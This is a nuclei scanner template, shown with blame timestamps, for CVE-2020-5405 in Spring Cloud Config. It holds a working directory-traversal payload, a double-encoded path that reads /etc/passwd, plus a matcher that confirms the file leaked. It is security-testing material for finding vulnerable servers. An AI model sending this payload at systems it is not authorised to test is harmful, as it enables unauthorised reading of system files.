nuclei-templates/cves/2020/CVE-2020-5405.yaml

24 lines
859 B
YAML
Raw Normal View History

2021-01-02 04:56:15 +00:00
id: CVE-2020-5405
info:
name: Spring Cloud Directory Traversal
2021-06-09 12:20:56 +00:00
author: harshbothra_
2020-08-31 18:34:29 +00:00
severity: high
2021-03-18 13:34:09 +00:00
description: Spring Cloud Config, versions 2.2.x prior to 2.2.2, versions 2.1.x prior to 2.1.7, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack.
reference: https://pivotal.io/security/cve-2020-5405
2021-03-18 07:54:36 +00:00
tags: cve,cve2020,lfi,springcloud
requests:
- method: GET
path:
- '{{BaseURL}}/a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd'
2020-07-06 17:10:05 +00:00
matchers-condition: and
matchers:
- type: status
status:
- 200
2020-07-06 17:10:05 +00:00
- type: regex
regex:
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
2020-07-06 17:10:05 +00:00
part: body